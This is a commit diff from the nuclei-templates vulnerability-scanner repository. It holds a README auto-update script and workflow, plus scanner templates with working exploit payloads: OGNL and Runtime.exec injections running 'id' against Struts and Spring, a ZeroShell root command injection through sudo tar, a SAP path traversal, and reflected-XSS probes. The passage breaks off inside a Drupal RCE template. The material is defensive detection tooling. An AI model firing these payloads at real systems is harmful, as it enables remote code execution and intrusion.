Auto Update README [Thu Nov 26 18:16:07 UTC 2020] 🤖

Merge pull request #643 from geeknik/patch-19
Create redmine-db-config.yaml
2026-11-07 08:36:19 -10:00 · 2020-11-26 18:16:07 +00:00 · 2020-11-26 23:45:43 +05:30 · 2020-11-26 23:44:49 +05:30 · 2020-11-26 23:33:13 +05:30 · 2020-11-26 23:29:40 +05:30
92 changed files with 60991 additions and 429 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,43 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,11 +1,8 @@
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-security-misconfiguration/missing-hsts.yaml
-security-misconfiguration/missing-csp.yaml
-security-misconfiguration/basic-cors-flash.yaml
 cves/CVE-2017-7529.yaml
 cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
-workflows/
+wordlists/
+misc/
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,36 +11,35 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.2.0`
+### Nuclei templates `v7.2.7` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 138 | files | 41 |
+| vulnerabilities | 39 | panels | 40 |
+| technologies | 40 | security-misconfiguration | 24 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 6 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 |

-### nuclei templates `v7.2.0` tree overview 
+
+### Nuclei templates `v7.2.7` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
 │   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
+│   ├── CVE-2017-12637.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
@@ -55,6 +55,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-1271.yaml
 │   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-13380.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
 │   ├── CVE-2018-16763.yaml
@@ -77,6 +78,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-12314.yaml
 │   ├── CVE-2019-12461.yaml
 │   ├── CVE-2019-12593.yaml
+│   ├── CVE-2019-12725.yaml
 │   ├── CVE-2019-14322.yaml
 │   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
@@ -100,9 +102,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6340.yaml
 │   ├── CVE-2019-6715.yaml
 │   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
@@ -111,7 +115,10 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
+│   ├── CVE-2019-9733.yaml
 │   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-0618.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
@@ -119,12 +126,16 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
 │   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
@@ -134,6 +145,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
@@ -152,15 +164,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
 │   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
-│   ├── CVE-2020-9757.yaml
-│   ├── cve-2019-9733.yaml
-│   └── cve-2020-0618.yaml
+│   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
@@ -169,11 +180,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
 │   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
@@ -187,18 +199,15 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── filezilla.yaml
 │   ├── firebase-detect.yaml
 │   ├── git-config.yaml
-│   ├── htaccess-config.yaml
 │   ├── jkstatus-manager.yaml
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
 │   ├── magento-config.yaml
-│   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
+│   ├── redmine-db-config.yaml
 │   ├── server-status-localhost.yaml
 │   ├── shell-history.yaml
 │   ├── sql-dump.yaml
@@ -214,17 +223,32 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-installer-log.yaml
 │   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
 │   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
+│   ├── basic-auth-bruteforce.yaml
 │   ├── directory-traversal.yaml
-│   └── generic-lfi-fuzzing.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   ├── iis-shortname.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
+├── misc
+│   ├── basic-cors-flash.yaml
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── xml-schema-detect.yaml
 ├── panels
 │   ├── adminer-panel.yaml
 │   ├── aims-password-mgmt-client.yaml
@@ -270,7 +294,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
-│   ├── basic-cors-flash.yaml
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
@@ -284,9 +308,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
 │   ├── manage-engine-ad-search.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── salesforce-aura-misconfig.yaml
@@ -303,6 +324,7 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
@@ -315,6 +337,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
@@ -327,12 +350,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── terraform-detect.yaml
 │   ├── tomcat-detect.yaml
 │   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
@@ -360,6 +385,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
@@ -385,27 +411,30 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-wordfence-xss.yaml
 │   ├── wordpress-wpcourses-info-disclosure.yaml
 │   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── basic-auth-workflow.yaml
+    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── netsweeper-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── springboot-workflow.yaml
    ├── vbulletin-workflow.yaml
    └── wordpress-workflow.yaml
 ```

 </details>

-14 directories, **352 templates**. 
+**16 directories, 383 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -415,4 +444,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -2,24 +2,45 @@ id: cve-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation
+  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
      - type: word
        words:
-          - "uid="
-        condition: and
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
        part: body
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Content-Length: 160
@@ -33,7 +32,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
@@ -24,7 +24,7 @@ requests:
        Connection: close
        Content-Type: application/x-www-form-urlencoded

-        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
    matchers:
      - type: regex
        regex:
@@ -0,0 +1,31 @@
+id: cve-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 91
        DNT: 1
@@ -0,0 +1,27 @@
+id: cve-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references:
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: https://{{Hostname}}/
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 73
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/
@@ -30,7 +29,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -44,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/json
        Content-Length: 259
@@ -43,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1

@@ -13,8 +13,16 @@ requests:
    path:
      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -0,0 +1,40 @@
+id: cve-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  product: Drupal
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
